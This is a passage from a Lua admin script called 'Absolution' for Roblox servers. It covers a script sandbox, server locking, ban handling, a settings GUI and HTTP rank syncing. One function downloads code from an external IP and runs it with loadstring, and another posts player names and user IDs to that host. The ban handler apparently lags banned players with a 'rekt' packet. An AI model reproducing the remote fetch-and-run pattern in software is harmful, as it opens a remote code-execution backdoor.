  901. return sandbox.fakeObject(rtn);
  902. end;
  903. end;
  904. meta.__sub=function(self,base)
  905. self=sandbox.toReal(self);
  906. base=sandbox.toReal(base);
  907. local rtn,success,err;
  908. success,err=pcall(function()
  909. rtn=self-base;
  910. end);
  911. if(not success)then
  912. return sandbox.unlockedError(err);
  913. else
  914. return sandbox.fakeObject(rtn);
  915. end;
  916. end;
  917. meta.__eq=function(self,base)
  918. self=sandbox.toReal(self);
  919. base=sandbox.toReal(base);
  920. local rtn,success,err;
  921. success,err=pcall(function()
  922. rtn=self==base;
  923. end);
  924. if(not success)then
  925. return sandbox.unlockedError(err);
  926. else
  927. return rtn;
  928. end;
  929. end;
  930. meta.__mul=function(self,base)
  931. self=sandbox.toReal(self);
  932. base=sandbox.toReal(base);
  933. local rtn,success,err;
  934. success,err=pcall(function()
  935. rtn=self*base;
  936. end);
  937. if(not success)then
  938. return sandbox.unlockedError(err);
  939. else
  940. return sandbox.fakeObject(rtn);
  941. end;
  942. end;
  943. meta.__div=function(self,base)
  944. self=sandbox.toReal(self);
  945. base=sandbox.toReal(base);
  946. local rtn,success,err;
  947. success,err=pcall(function()
  948. rtn=self/base;
  949. end);
  950. if(not success)then
  951. return sandbox.unlockedError(err);
  952. else
  953. return sandbox.fakeObject(rtn);
  954. end;
  955. end;
  956. return proxy;
  957. end;
  958. scriptEnv=setmetatable({},{
  959. __index=function(self,index)
  960. sandbox.errorCheck();
  961. local obj=sandbox.new[index]or sandbox.enviroments('get',index);
  962. return sandbox.fakeObject(obj);
  963. end;
  964. __newindex=function(self,index,value)
  965. sandbox.errorCheck();
  966. sandbox.enviroments('set',index,sandbox.toReal(value));
  967. end;
  968. __metatable='This is a locked meta table';
  969. });
  970. };
  971. sandbox.new={
  972. coroutine=sandbox.fakeObject(sandbox.old.coroutine,{
  973. create=function(func,...)
  974. pcall(sandbox.old.setfenv,func,sandbox.scriptEnv);
  975. local res,a,b;
  976. local args={...};
  977. for _,v in next,args do
  978. args[sandbox.toReal(_)]=sandbox.toReal(v);
  979. end;
  980. a,b=pcall(function()
  981. res=sandbox.old.coroutine.create(func,unpack(args));
  982. end);
  983. if(not a)then
  984. return sandbox.unlockedError(b);
  985. end;
  986. return res;
  987. end;
  988. wrap=function(func)
  989. pcall(sandbox.old.setfenv,func,sandbox.scriptEnv);
  990. local res,a,b;
  991. a,b=pcall(function()
  992. res=sandbox.old.coroutine.wrap(func);
  993. end);
  994. if(not a)then
  995. return sandbox.unlockedError(b);
  996. end;
  997. return sandbox.fakeObject(res);
  998. end;
  999. });
  1000. Spawn=function(func,...)
  1001. if(func and func==sandbox.enviroments('get','wait'))then
  1002. return sandbox.lockedError('This crash func has been blocked ~ Darkus_Theory');
  1003. end;
  1004. local rtn,succces,err;
  1005. success,err=pcall(function()
  1006. rtn={sandbox.old.Spawn(func)};
  1007. end);
  1008. if(not success)then
  1009. return sandbox.unlockedError(err);
  1010. end;
  1011. for _,obj in next,rtn do
  1012. rtn[_]=sandbox.fakeObject(obj);
  1013. end;
  1014. return sandbox.old.unpack(rtn);
  1015. end;
  1016. getfenv=function(obj)
  1017. local fEnv,success,err;
  1018. success,err=pcall(function() fEnv=sandbox.old.getfenv(obj) end);
  1019. if(not success)then
  1020. return sandbox.unlockedError(err);
  1021. end;
  1022. return sandbox.fakeObject(fEnv,sandbox.new);
  1023. end;
  1024. setfenv=function(o,f)
  1025. f=f or {};
  1026. if(o==1 or o==0)then return sandbox.lockedError('You cannot set script enviroment') end;
  1027. if(type(f)~='table')then return error('Bad argument to #2 table expected, got '..type(f)) end;
  1028. local new=setmetatable({},{
  1029. __index=function(self,index)
  1030. sandbox.errorCheck();
  1031. local Obj=sandbox.new[index]or f[index];
  1032. return sandbox.fakeObject(Obj);
  1033. end;
  1034. __newindex=function(self,index,val)
  1035. sandbox.errorCheck();
  1036. f[index]=sandbox.toReal(val);
  1037. end;
  1038. __metatable=getmetatable(f)
  1039. });
  1040. local results,succ,err;
  1041. succ,err=ypcall(function()
  1042. results={sandbox.old.setfenv(o,new)};
  1043. end);
  1044. if(not succ)then
  1045. return sandbox.lockedError(err);
  1046. end;
  1047. for _,v in next,results do
  1048. results[sandbox.fakeObject(_)]=sandbox.fakeObject(v);
  1049. end;
  1050. return unpack(results);
  1051. end;
  1052. loadstring=function(str,...)
  1053. local func,err=sandbox.old.loadstring(str,...);
  1054. if(func)then
  1055. coroutine.wrap(function()
  1056. sandbox.new.setfenv(func,sandbox.scriptEnv);
  1057. end)();
  1058. end;
  1059. return func,err;
  1060. end;
  1061. Instance=sandbox.fakeObject(sandbox.old.Instance,{
  1062. new=function(class,par)
  1063. par=sandbox.toReal(par);
  1064. if(sandbox.lockedInstances[class])then
  1065. return sandbox.lockedError('This Instance has been locked ~ Darkus_Theory');
  1066. end;
  1067. local obj,success,err;
  1068. success,err=pcall(function()
  1069. obj=sandbox.old.Instance.new(class,par);
  1070. end);
  1071. if(not success)then
  1072. return sandbox.unlockedError(err);
  1073. end;
  1074. return sandbox.fakeObject(obj);
  1075. end;
  1076. });
  1077. print=function(...)
  1078. local args={...};
  1079. local string,used='',0;
  1080. for _,v in next,args do
  1081. if(v==nil)then v='nil' end;
  1082. local base=sandbox.toReal(v);
  1083. local stat=sandbox.old.tostring(base);
  1084. used=used+1;
  1085. string=string..((used>1 and'\t')or'')..stat;
  1086. end;
  1087. return sandbox.old.print(string);
  1088. end;
  1089. error=function(format)
  1090. if(format)then
  1091. local error=format:match'.+:?.+:%s(.*)';
  1092. if(error==nil or error:len()==0)then error=format end;
  1093. format=error;
  1094. else
  1095. format='Protected - Absolution';
  1096. end;
  1097. return sandbox.old.error(format,0);
  1098. end;
  1099. NLS=NLS;
  1100. NewLocalScript=NewLocalScript;
  1101. newLocalScript=newLocalScript;
  1102. NS=NS;
  1103. NewScript=NewScript;
  1104. newScript=newScript;
  1105. require=function(...)
  1106. local oldReq=sandbox.old.require;
  1107. local args={...};
  1108. table.foreach(args,function(_,v)
  1109. args[sandbox.toReal(_)]=sandbox.toReal(v);
  1110. end);
  1111. local rtn,succ,err;
  1112. succ,err=ypcall(function()
  1113. rtn={sandbox.old.require(sandbox.old.unpack(args))};
  1114. end);
  1115. if(not succ)then
  1116. return sandbox.lockedError(err);
  1117. else
  1118. if(rtn)then
  1119. for _,v in next,rtn do
  1120. if(v and type(v)=='function')then sandbox.new.setfenv(v,sandbox.scriptEnv) end;
  1121. rtn[sandbox.fakeObject(_)]=sandbox.fakeObject(v);
  1122. end;
  1123. end;
  1124. return unpack(rtn);
  1125. end;
  1126. end;
  1127. setmetatable=function(tab,...)
  1128. tab=sandbox.toReal(tab);
  1129. local args={...};
  1130. for _,v in next,args do
  1131. args[_]=sandbox.toReal(v);
  1132. end;
  1133. if(tab==sandbox.old._G or tab==sandbox.old.shared)then
  1134. return sandbox.lockedError();
  1135. end;
  1136. local rtn,success,err;
  1137. success,err=pcall(function()
  1138. rtn={sandbox.old.setmetatable(tab,unpack(args))};
  1139. end);
  1140. if(not success)then
  1141. sandbox.unlockedError(err);
  1142. else
  1143. return unpack(rtn);
  1144. end;
  1145. end;
  1146. next=next;
  1147. pairs=pairs;
  1148. ipairs=ipairs;
  1149. };
  1150. coroutine.wrap(function()
  1151. local c={disconnect=function()end};
  1152. local rawset=rawset;
  1153. local sandbox=sandbox
  1154. repeat
  1155. c:disconnect();
  1156. c=script.Changed:connect(function(prop)
  1157. if(script.Disabled==true or script.Name=='ENDEDSCRIPT')then
  1158. rawset(sandbox,'disabled',true);
  1159. end;
  1160. end);
  1161. wait();
  1162. until false;
  1163. end)();
  1164. local sandbox=sandbox;
  1165. sandbox.old.setfenv(1,sandbox.scriptEnv);
  1166. sandbox.old.setfenv(0,sandbox.scriptEnv);
  1167. local task,err=sandbox.new.loadstring(strToRun);
  1168. if(not task)then
  1169. return sandbox.unlockedError(err);
  1170. end;
  1171. local ran,err=ypcall(task);
  1172. if(not ran)then
  1173. sandbox.unlockedError(err);
  1174. end;
  1175. ]=]
  1176. ]===]
  1177.  
  1178. -- Create --
  1179. Absolution.Functions.Create = function(self, ClassName, Properties)
  1180. local Instance = Instance.new(ClassName)
  1181. local Properties = Properties or {}
  1182. local ConnectionIndexes = {"MouseClick","MouseHoverEnter","MouseHoverLeave","MouseButton1Down","MouseButton2Down"}
  1183. local CheckConnection = function(Index)
  1184. local Index = tostring(Index)
  1185. for _, Connect in pairs(ConnectionIndexes) do
  1186. if Index:lower() == Connect:lower() then
  1187. return true
  1188. end
  1189. end
  1190. return false
  1191. end
  1192. for Index, Value in pairs(Properties) do
  1193. if not CheckConnection(Index) then
  1194. Instance[Index] = Value
  1195. else
  1196. Instance[Index]:connect(Value)
  1197. end
  1198. end
  1199. return Instance
  1200. end
  1201.  
  1202. -- ServerLocking --
  1203. Absolution.Locks.Server.enabledServerLock = function(self)
  1204. if self.Locked then return end
  1205. local t = self.Duration
  1206. local r = self.rankNumber
  1207. Absolution.Functions.Announce("Server Lock Enabled")
  1208. Absolution.Locks.Server.Locked = true
  1209. Instance.new("Hint", Absolution.Services.Workspace).Name = 'absolutionSht'
  1210. for i = t,0,-1 do
  1211. local ABM = workspace:findFirstChild('absolutionSht')
  1212. if not ABM then
  1213. ABM = Instance.new("Hint", Absolution.Services.Workspace)
  1214. ABM.Name = 'absolutionSht'
  1215. end
  1216. ABM.Text = '[Absolution]: Server is locked for all ranks below '..r..' for '..i..' more seconds!'
  1217. for i,v in pairs(Absolution.Services.Players:players()) do
  1218. local pRank = Absolution.Functions.getRankedTable(tostring(v)) and Absolution.Functions:findRank(tostring(v)) or 0
  1219. if pRank < r then
  1220. v:Kick('[Absolution]: Server is locked for all ranks below '..r..' for '..i..' more seconds!')
  1221. end
  1222. end
  1223. if self.Locked==false then ABM:remove() break end
  1224. wait(1)
  1225. end
  1226. Absolution.Functions.Announce("Server Lock Disabled")
  1227. Absolution.Locks.Server.Locked = false
  1228. Absolution.Functions.Out('Admins', "Server Lock Disabled", 5)
  1229. end
  1230.  
  1231. -- showData --
  1232. Absolution.Functions.showData = function(v)
  1233. Absolution.Functions.Dismiss(v)
  1234. local Speaker = v -- laz boi
  1235. Absolution.Functions.Output(v, 'Click me to see Server Statistics!', nil, function() Absolution.Functions.onChatted(v, 'stats/') end)
  1236. Absolution.Functions.Output(v, 'Click me to see commands!', nil, function() Absolution.Functions.ShowCommands(v) end)
  1237. Absolution.Functions.Output(v, 'Absolution Server-Side Administration', 'Really red')
  1238. Absolution.Functions.Output(v, 'Created by Darkus_Theory.', nil)
  1239. Absolution.Functions.Output(v, 'Click me to change settings!', nil, function()
  1240. Absolution.Functions.Dismiss(Speaker)
  1241. Absolution.Functions.Output(Speaker, "Set Color", "Mid gray", function()
  1242. Absolution.Functions.Dismiss(Speaker)
  1243. for _,c in pairs({"Br. yellowish green","Bright yellow","Bright orange","Bright red","Bright violet","Bright blue","Bright bluish green","Bright green","Institutional white","White","Light stone grey","Mid gray","Medium stone grey","Dark stone grey","Black","Really black","Grime","Br. yellowish orange","Light orange","Sand red","Lavender","Sand blue","Medium blue","Sand green","Brick yellow","Cool yellow","Neon orange","Medium red","Light reddish violet","Pastel Blue","Teal","Medium green","Pastel brown","Pastel yellow","Pastel orange","Pink","Pastel violet","Pastel light blue","Pastel blue-green","Pastel green","Olive","New Yeller","Deep orange","Really red","Hot pink","Really blue","Toothpaste","Lime green","Brown","Nougat","Dark orange","Royal purple","Alder","Cyan","Light blue","Camo","Reddish brown","CGA brown","Dusty Rose","Magenta","Deep blue","Navy blue","Dark green","Earth green"}) do
  1244. Absolution.Functions.Output(Speaker, c, c, function()
  1245. Absolution.Functions.Dismiss(Speaker)
  1246. Absolution.Functions.getRankedTable(Speaker.Name).Color = c
  1247. Absolution.Functions.showData(Speaker)
  1248. end)
  1249. end
  1250. end)
  1251. Absolution.Functions.Output(Speaker, "Set Tablet Type", "Mid gray", function()
  1252. Absolution.Functions.Dismiss(Speaker)
  1253. Absolution.Functions.Output(Speaker, 'Box', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Box' Absolution.Functions.showData(Speaker)end)
  1254. Absolution.Functions.Output(Speaker, 'Normal', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Normal' Absolution.Functions.showData(Speaker)end)
  1255. end)
  1256. Absolution.Functions.Output(Speaker, "Set Distance", "Mid gray", function()
  1257. Absolution.Functions.Dismiss(Speaker)
  1258. for z = 1, 30 do
  1259. Absolution.Functions.Output(Speaker, z, nil, function()
  1260. Absolution.Functions.Dismiss(Speaker)
  1261. Absolution.Functions.getRankedTable(Speaker.Name).Distance = z
  1262. Absolution.Functions.showData(Speaker)
  1263. end)
  1264. end
  1265. end)
  1266. end)
  1267. Absolution.Functions.Output(v, 'Click me to go to your Ranked Interface!', nil, function() Absolution.Functions.GetRankedInterface(v, v.Name) end)
  1268. Absolution.Functions.Output(v, 'Access Level: '..Absolution.Ranks[Absolution.Functions:findRank(tostring(v))], nil)
  1269. if Absolution.Functions.calculateRankInGroup(v)>0 then
  1270. Absolution.Functions.Output(v, 'Group Access Level: '..Absolution.Functions.calculateRankInGroup(v), nil)
  1271. end
  1272. Absolution.Functions.Output(v, 'Dismiss')
  1273. end
  1274.  
  1275. -- Rotation! --
  1276. Absolution.Constants.TabletRotation = 0
  1277. Absolution.Functions.UpdateTablets = function(self)
  1278. Absolution.Constants.TabletRotation = Absolution.Constants.TabletRotation==360 and 0 or Absolution.Constants.TabletRotation*(.1/100)
  1279. for _, Player in pairs(Absolution.Functions:getALLPlayers()) do
  1280. local PlrTabs = {}
  1281. for i,v in pairs(Absolution.Tablets) do
  1282. if v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1283. table.insert(PlrTabs, v)
  1284. end
  1285. end
  1286. local radiusdata = Absolution.Functions.getRankedTable(Player.Name).Distance ~= nil and Absolution.Functions.getRankedTable(Player.Name).Distance or 15
  1287. local pos = nil
  1288. pcall(function()
  1289. if Player.Character.Parent == Absolution.Services.Workspace then
  1290. pos = Player.Character.Torso.CFrame
  1291. end
  1292. end)
  1293. pcall(function()
  1294. if Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey) then
  1295. pos = Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey).CFrame
  1296. end
  1297. end)
  1298. local radius = radiusdata + (#PlrTabs * 0.5)
  1299. if not pos then pos = CFrame.new(0,15,0) end
  1300. local LastKnownPosition = pos
  1301. for Index = 1, #PlrTabs do
  1302. local Tablet = PlrTabs[Index].Tab
  1303. local Dec = Tablet:findFirstChild('aDD', true)
  1304. if Tablet and Tablet.Parent then
  1305. local newCFrame = Absolution.Functions.CLerp(Tablet.CFrame,CFrame.new(LastKnownPosition.p)
  1306. * CFrame.Angles(0, math.rad((360/#PlrTabs*Index+(tick())*60/(#PlrTabs ~= 0 and 10 or 1))%360), 0)
  1307. * CFrame.new(0, 0, ((radius*2)+#PlrTabs)*.35+Tablet.Size.X), .2)
  1308. Tablet.CFrame = CFrame.new(newCFrame.p,pos.p)
  1309. if Dec and Dec.Parent then Dec.CFrame = CFrame.new(newCFrame.p,pos.p) end
  1310. -- * CFrame.Angles(math.rad(math.sin(tick()*4)*20)/Index,0,math.rad(math.sin(tick()*4)*20))
  1311. else
  1312. table.remove(PlrTabs, Index)
  1313. end
  1314. end
  1315. --[[
  1316. for i,v in pairs(PlrTabs) do
  1317. pcall(function()
  1318. local m=(i/#PlrTabs-(.5/#PlrTabs)+(Absolution.Constants.TabletRotation/(#PlrTabs/10)))*math.pi*2;
  1319. local radiusdata = Absolution.Ranked[Player.Name].Distance ~= nil and Absolution.Ranked[Player.Name].Distance or 15
  1320. local pos = nil
  1321. pcall(function()
  1322. if Player.Character.Parent == Absolution.Services.Workspace then
  1323. pos = Player.Character.Torso.CFrame
  1324. end
  1325. end)
  1326. pcall(function()
  1327. if Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey) then
  1328. pos = Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey).CFrame
  1329. end
  1330. end)
  1331. if pos == nil then return end
  1332. local radius = radiusdata + (#PlrTabs * 0.5)
  1333. local x,y,z
  1334. local rad=(#PlrTabs*.8)+4;
  1335. local asd = (#PlrTabs)
  1336. if true then
  1337. if Absolution["Settings"]["Rotation_Style"] == 'Normal' then
  1338. local function sFloor(i,d)
  1339. d=d or asd;
  1340. if(i%d==0)then
  1341. return math.floor((i-1)/d);
  1342. else
  1343. return math.floor(i/d);
  1344. end;
  1345. end;
  1346. x = math.sin((i / #PlrTabs - (0.5 / #PlrTabs) * 2) * math.pi * 2) * radius
  1347. y = 0
  1348. z = math.cos((i / #PlrTabs - (0.5 / #PlrTabs) * 2) * math.pi * 2) * radius
  1349. elseif Absolution["Settings"]["Rotation_Style"] == 'Penta' then
  1350. local asd = ((#PlrTabs>5 and 5) or #PlrTabs)
  1351. local m=(i/asd-(.5/asd)+(Absolution.Constants.TabletRotation/(asd/10)))*math.pi*2;
  1352. local function sFloor(i,d)
  1353. d=d or asd;
  1354. if(i%d==0)then
  1355. return math.floor((i-1)/d);
  1356. else
  1357. return math.floor(i/d);
  1358. end;
  1359. end;
  1360. x = (math.sin(m)*(10+(math.floor(i/asd)*4)))
  1361. y = math.sin(tick()*.5)
  1362. z = (math.cos(m)*(10+(math.floor(i/asd)*4)))
  1363. elseif Absolution["Settings"]["Rotation_Style"] == 'BSwirl' then
  1364. local asd = (#PlrTabs)
  1365. local m=(m/2)*(2+math.sin(tick()*.5));
  1366. x = math.sin(m)*(rad-(i*.1))* radius
  1367. y = math.sin(tick()*.5)
  1368. z = math.cos(m)*(rad-(i*.1))* radius
  1369. elseif Absolution["Settings"]["Rotation_Style"] == 'Swirl' then
  1370. local m=(m/2)*(-5);
  1371. local asd = (#PlrTabs)
  1372. local rad=(rad-(i))
  1373. x = (math.sin(m)*rad) * radius
  1374. y = math.sin(tick()*.5)
  1375. z = (math.cos(m)*rad) * radius
  1376. elseif Absolution["Settings"]["Rotation_Style"] == 'Tri' then
  1377. local asd=((#PlrTabs>3 and 3)or #PlrTabs);
  1378. local m=(i/asd-(.5/5)+(Absolution.Constants.TabletRotation/(asd/10)))*math.pi*2;
  1379. local function sFloor(i,d)
  1380. d=d or asd;
  1381. if(i%d==0)then
  1382. return math.floor((i-1)/d);
  1383. else
  1384. return math.floor(i/d);
  1385. end;
  1386. end;
  1387. x=math.sin(m)*(10+(sFloor(i)*4));
  1388. z=math.cos(m)*(10+(sFloor(i)*4));
  1389. end
  1390. else
  1391. x = math.sin((i / #PlrTabs - (0.5 / #PlrTabs) + Absolution.Constants.TabletRotation * 2) * math.pi * 2) * radius
  1392. y = math.sin(tick()*.5)
  1393. z = math.cos((i / #PlrTabs - (0.5 / #PlrTabs) + Absolution.Constants.TabletRotation * 2) * math.pi * 2) * radius
  1394. end
  1395. local arot = Vector3.new(x,y,z)+pos.p
  1396. local brot = v.Tab.CFrame.p
  1397. local crot = (arot * .1 + brot * .9)
  1398. local drot = math.rad((Absolution.Constants.TabletRotation * 1000) * math.pi)
  1399. v.Tab.CFrame = CFrame.new(crot, pos.p)
  1400. if Absolution.SpinningRot == true then
  1401. v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(drot, drot, drot)
  1402. else
  1403. v.Tab.CFrame = v.Tab.CFrame
  1404.  
  1405. end
  1406. end)
  1407. end--]]
  1408. end
  1409. end
  1410. -- reloadLogoGui --
  1411. Absolution.Functions.reloadLogoGui = function(v)
  1412. local PG;
  1413. local ScreenGui;
  1414. local ImageButton;
  1415. PG=v:findFirstChild'PlayerGui'
  1416. if PG==nil then
  1417. v:LoadCharacter()
  1418. PG=v:waitForChild'PlayerGui'
  1419. end
  1420. if PG:findFirstChild'Info'==nil then
  1421. local db = tick()+6
  1422. ScreenGui = Instance.new("ScreenGui", PG)
  1423. ScreenGui.Name='Info'
  1424. ImageButton = Instance.new("ImageButton", ScreenGui)
  1425. ImageButton.Position = UDim2.new(.94, 0, .92, 0)
  1426. ImageButton.Size = UDim2.new(.06, 12, .08, 0)
  1427. ImageButton.BackgroundColor3 = Color3.new(0, 0, 0)
  1428. ImageButton.BorderColor3 = Color3.new(0, 0, 0)
  1429. ImageButton.BackgroundTransparency = 1
  1430. ImageButton.Visible = true
  1431. ImageButton.Image = 'rbxassetid://'..Absolution.Settings.Logo
  1432. ImageButton.Draggable=false
  1433. ImageButton.MouseButton1Down:connect(function()
  1434. if tick()-db >= 2 then
  1435. Absolution.Handler:sendPacket(player, 'TerminalOn')
  1436. Absolution.Functions.showData(v)
  1437. db = tick()
  1438. end
  1439. end)
  1440. end
  1441. end
  1442.  
  1443. -- handleBan --
  1444. Absolution.Functions.handleBan = function(Player)
  1445. if Absolution.HandlingBans[Player] then return end
  1446. Absolution.HandlingBans[Player] = true
  1447. local playerData = Absolution.Functions.getRankedTable(tostring(Player))
  1448. local playerName = tostring(Player)
  1449. if playerData then
  1450. if Absolution.Functions:findRank(Player) == -2 then
  1451. coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'rekt',{["REASON"] = playerData.Description}) end)()
  1452. wait()
  1453. if Player then Player:Kick('You are banned from joining for '..playerData.Description) end
  1454. Absolution.Functions.Announce(playerName.." was lagged due to a banishment. | REASON: "..playerData.Description)
  1455. --Absolution.Functions.sbOutput(playerName.." was not allowed to join. | REASON: "..playerData.Description, 'Error')
  1456. elseif Absolution.Functions:findRank(Player) == -1 then
  1457. coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'disconnect',{["REASON"] = playerData.Description}) end)()
  1458. wait()
  1459. if Player then Player:Kick('You were banned for '..playerData.Description) end
  1460. Absolution.Functions.Announce(playerName.." was kicked due to a banishment. | REASON: "..playerData.Description)
  1461. --Absolution.Functions.sbOutput(playerName.." was not allowed to join. | REASON: "..playerData.Description, 'Error')
  1462. elseif Absolution.Functions:findRank(Player) == -0.5 and not Absolution.Tempbans[tostring(Player.userId)] then
  1463. Absolution.Functions.Out('Admins', 'A blacklisted user ('..playerName..') has joined the server.', 3)
  1464. end
  1465. if Absolution.Tempbans[tostring(Player.userId)] then
  1466. local tban_data = Absolution.Tempbans[tostring(Player.userId)]
  1467. local timeremaining = ((tban_data.timeEnd)-tick())
  1468. if timeremaining >= 0 then
  1469. coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'disconnect',{["REASON"] = playerData.Description}) end)()
  1470. wait()
  1471. if Player then Player:Kick("You were temp-banned for "..playerData.Description..". | TIME REMAINING: "..Absolution.Functions.GetTime(timeremaining)) end
  1472. Absolution.Functions.Announce(playerName.." is banned for "..Absolution.Functions.GetTime(timeremaining).." | REASON: "..playerData.Description)
  1473. --Absolution.Functions.sbOutput(playerName.." is banned for "..Absolution.Functions.GetTime(timeremaining).." | REASON: "..playerData.Description, 'Error')
  1474. return
  1475. else
  1476. playerData.Rank = 0
  1477. end
  1478. end
  1479. end
  1480. wait(3)
  1481. Absolution.HandlingBans[Player] = false
  1482. end
  1483.  
  1484. Absolution.Functions.checkPrivateBase = function()
  1485.  
  1486. local function makeBase()
  1487. local Base = Instance.new("Part")
  1488. Base.BrickColor = BrickColor.new("Dark green")
  1489. Base.CFrame = CFrame.new(5000, 200, 5000)
  1490. Base.Transparency = 0
  1491. Base.Elasticity = 0.5
  1492. --Base.FormFactor = "Custom"
  1493. Base.Material = 'Grass'
  1494. Base.CanCollide = true
  1495. Base.Friction = 0.30000001192093
  1496. Base.Size = Vector3.new(2044, 0, 2044)
  1497. Base.Archivable = true
  1498. Base.Material = "Grass"
  1499. Base.RotVelocity = Vector3.new(0, 0, 0)
  1500. Base.Reflectance = 0
  1501. Base.Locked = true
  1502. Base.Anchored = true
  1503. Base.Name = "AbsolutionBase"
  1504. Base.TopSurface = "Smooth"
  1505. Base.BottomSurface = "Inlet"
  1506. Base.Shape = "Block"
  1507. Base.Parent = Absolution.Services.Workspace.Terrain
  1508. local v = Instance.new('Model', Base)
  1509. v.Name = 'Verified'
  1510. coroutine.wrap(function()
  1511. while Base do
  1512. wait()
  1513. for i,v in pairs(Absolution.Services.Players:GetPlayers()) do
  1514. if v.Character then
  1515. if v.Character:findFirstChild'Torso' then
  1516. local pos = (Base.Position-v.Character:findFirstChild'Torso'.Position).magnitude
  1517. if pos < 2044 and Absolution.Ranked[v.Name].Rank < 3 then
  1518. v:LoadCharacter()
  1519. end
  1520. end
  1521. end
  1522. end
  1523. end
  1524. end)()
  1525. end
  1526.  
  1527. if not game:service'Workspace'.Terrain:findFirstChild('Verified', true) then
  1528. makeBase()
  1529. end
  1530.  
  1531. end
  1532.  
  1533. -- mainLoop --
  1534. Absolution.Functions.mainLoop = function()
  1535. coroutine.wrap(function()
  1536. for _,v in pairs(Absolution.Services.Players:GetPlayers()) do
  1537. coroutine.wrap(Absolution.Functions.reloadLogoGui)(v)
  1538. end
  1539. end)()
  1540. coroutine.wrap(function()
  1541. for _,Player in pairs(Absolution.Services.Players:GetPlayers()) do
  1542. local cRank = Absolution.Functions.calculateRankInGroup(Player)
  1543. if Absolution.Ranked[Player.Name].Rank < cRank and cRank >= 0 then print'ranking up player' Absolution.Ranked[Player.Name].Rank = cRank Absolution.Functions.syncRankOut(Player) end
  1544. end
  1545. end)()
  1546. coroutine.wrap(function()
  1547. for _,Player in pairs(Absolution.Services.Players:GetPlayers()) do
  1548. local Ran,Error = ypcall(function()
  1549. if Absolution.Functions:findRank(Player) <= 0 then Absolution.Functions.handleBan(Player) end
  1550. end)
  1551. if not Ran then Absolution.Errors[#Absolution.Errors+1] = Error end
  1552. end
  1553. end)()
  1554.  
  1555. Absolution.Functions.checkPrivateBase()
  1556. Absolution.Functions.UpdateTablets()
  1557. if not Absolution.Services.ReplicatedStorage:FindFirstChild("AbsolutionHandler") then Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage)end
  1558. end
  1559.  
  1560. -- Add Command --
  1561. Absolution.Functions.Command = function(Name, Uses, Rank, Description, Flags, Function)
  1562. if Uses == nil then return end
  1563. if Name == nil then Name = "N/A" end
  1564. if Rank == nil then Rank = 0 end
  1565. if Description == nil then Description = "N/A" end
  1566. if Flags == nil then Flags = "No Flags" end
  1567. if Absolution.Commands[Name] then Absolution.Functions.Out('Admins','Adding new command: '..Name, 1) Absolution.Commands[Name] = nil end
  1568. Absolution.Commands[Name] = {Name = Name, Uses = Uses, Rank = Rank, Description = Description, Flags = Flags, Function = Function}
  1569. end
  1570.  
  1571. --[[ HTTP SYNCING ]]--
  1572. -- syncRanksIn --
  1573. Absolution.Functions.syncRanksIn = function()
  1574. ypcall(function()
  1575. Absolution.Functions.getTempBans()
  1576. local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Incoming)--, true)
  1577. local ran,erro = ypcall(function() loadstring(hsync)() end)
  1578. if not ran then warn(erro) end
  1579. end)
  1580. end
  1581.  
  1582. -- syncRanksOut --
  1583. Absolution.Functions.syncRanksOut = function()
  1584. ypcall(function()
  1585. local function url_encode(form)
  1586. local result = {}
  1587. for key, value in pairs(form) do
  1588. table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
  1589. end
  1590. return table.concat(result, "&")
  1591. end
  1592. for i,v in pairs(Absolution.Ranked) do
  1593. if not Absolution.Ranks[v.Rank] then v.Rank = 0 end
  1594. local pt = {plr = i, uid = tostring(v.UserID), rnk = tostring(v.Rank), col = tostring(v.Color), dis = tostring(v.Distance), desc = tostring(v.Description), tablet = tostring(v.TabletType)}
  1595. table.foreach(pt, tostring)
  1596. local body = url_encode(pt)
  1597. local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Outgoing, body, Enum.HttpContentType.ApplicationUrlEncoded)
  1598. wait(.5)
  1599. end
  1600. Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'syncRanksOut() fires.'});
  1601. end)
  1602. end
  1603. -- syncRankOut --
  1604. Absolution.Functions.syncRankOut = function(plr)
  1605. ypcall(function()
  1606. local function url_encode(form)
  1607. local result = {}
  1608. for key, value in pairs(form) do
  1609. table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
  1610. end
  1611. return table.concat(result, "&")
  1612. end
  1613. local v = Absolution.Functions.getRankedTable(tostring(plr))
  1614. if not Absolution.Ranks[v.Rank] then v.Rank = 0 end
  1615. local pt = {plr = tostring(plr), uid = tostring(v.UserID), rnk = tostring(v.Rank), col = tostring(v.Color), dis = tostring(v.Distance), desc = tostring(v.Description), tablet = tostring(v.TabletType)}
  1616. table.foreach(pt, tostring)
  1617. local body = url_encode(pt)
  1618. local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Outgoing, body, Enum.HttpContentType.ApplicationUrlEncoded)
  1619. wait(.5)
  1620. Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'syncRankOut() fires.'});
  1621. end)
  1622. end
  1623.  
  1624. -- Splitting Hotness ~Vaeby --
  1625. Absolution.Functions.split = function(str, sSeparator, nMax, bRegexp)
  1626. assert(sSeparator ~= '')
  1627. assert(nMax == nil or nMax >= 1)
  1628.  
  1629. local aRecord = {}
  1630.  
  1631. if str:len() > 0 then
  1632. local bPlain = not bRegexp
  1633. nMax = nMax or -1
  1634.  
  1635. local nField, nStart = 1, 1
  1636. local nFirst,nLast = str:find(sSeparator, nStart, bPlain)
  1637. while nFirst and nMax ~= 0 do
